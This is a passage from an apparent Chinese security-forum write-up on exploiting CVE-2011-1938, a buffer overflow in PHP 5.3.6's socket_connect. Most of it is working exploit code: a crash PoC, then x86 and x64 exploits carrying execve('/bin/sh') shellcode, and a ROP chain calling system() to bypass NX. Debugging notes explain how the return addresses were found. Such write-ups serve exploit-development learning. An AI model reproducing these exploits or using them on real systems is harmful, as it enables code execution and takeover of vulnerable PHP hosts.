<?php
$pad = str_repeat("A", 500);
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $pad);
?>
GDB调试php,运行poc。观察到rax是个指针,读到了0x41414141无效地址,把这个地址改为正常地址,后面还有一处也还会覆盖,根据调试情况也进行更改。
![](https://bbs.pediy.com/upload/attach/201710/694899_3avrjgyz6sh4k5m.png)
之后编写可以覆盖到ret的半成品exp,代码如下:
<?php
$padd = str_repeat("A", 156)."\x20\x9d\x72\x08";
$pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";
$pad3=str_repeat("C",4)."DDDD";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $padd.$pad2.$pad3);
?>
可以观察到eip指针被覆盖为DDDD,最后根据调试,将exp编写完整。
<?php
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
$padd = str_repeat("A", 131)."\x20\xba\x74\x08";
$pad1=$shellcode.$padd;
$pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";
$pad3=str_repeat("C",4)."\x08\xcb\xff\xbf";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $pad1.$pad2.$pad3);
?>
需要注意的是我在X86编译的时候没有开任何保护机制,gdb调试的时候shellcode在栈中的地址和实际环境中的是不一样的,所以需要开启code dump来得到实际shelllcode在栈中的地址,这个只是最常规的,最后运行exp得到shell。
![](https://bbs.pediy.com/upload/attach/201710/694899_jqj9qmvqz89myfs.png)
二、X64下
在X64下,我分别写了没有保护机制和绕过NX的exploit,在X64一开始给我造成了很大的麻烦,因为我把X86的shellcode搬到了X64中,所以无论怎样都行不通。幸好调试的时候发现了这一点,因为参数传递发生了改变,所以shellcode也无法用了,最后写成的exp.php:
<?php
echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";
echo "[+] CVE-2011-1938\n\n";
$shellcode="\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";
$pad = $shellcode.str_repeat("A", 140);
$payload=$pad."\x00\x54\xf5\x00\x00\x00\x00\x00"."BBBBBBBBBBBBBBBBBBBBBBBB"."\x50\xb6\xff\xff\xff\x7f\x00\x00"."\x22\xb5\xff\xff\xff\x7f";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $payload);
?>
写成的rop.php:
<?php
$system_addr="\x90\xc5\xfc\xf6\xff\x7f\x00\x00";
$binsh_addr="\x03\x65\x10\xf7\xff\x7f\x00\x00";
$popret="\x45\xbe\x74\x00\x00\x00\x00\x00";
$padd = str_repeat("A", 174)."\xb0\x48\xf5\x00\x00\x00\x00\x00"."BBBBBBBBBBBBBBBB"."\xf0\x91\xec\xf7\xff\x7f\x00\x00"."DDDDDDDD".$popret.$binsh_addr.$system_addr;
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $padd);
?>
运行后得到shell。
其中的system地址和binsh地址都可以调试找到,popret这个地址可以通过rop工具搜索一下。
![](https://bbs.pediy.com/upload/attach/201710/694899_pw54dkx2nib91wh.png)
0x04 小结
本来想用mmap或者mprotect绕过NX,由于不熟练的原因,如果写下去会花费很长时间。其实上面所有的exp其实都只能算是个半成品,没有绕过所有的防护机制,后续会慢慢写下去,越来越熟练的。然后吐槽一下,跟别人相比我总觉得我的exp
写的很烂。
参考资料 http://shell-storm.org/blog/PHP-5.3.6-Buffer-Overflow-PoC-ROP/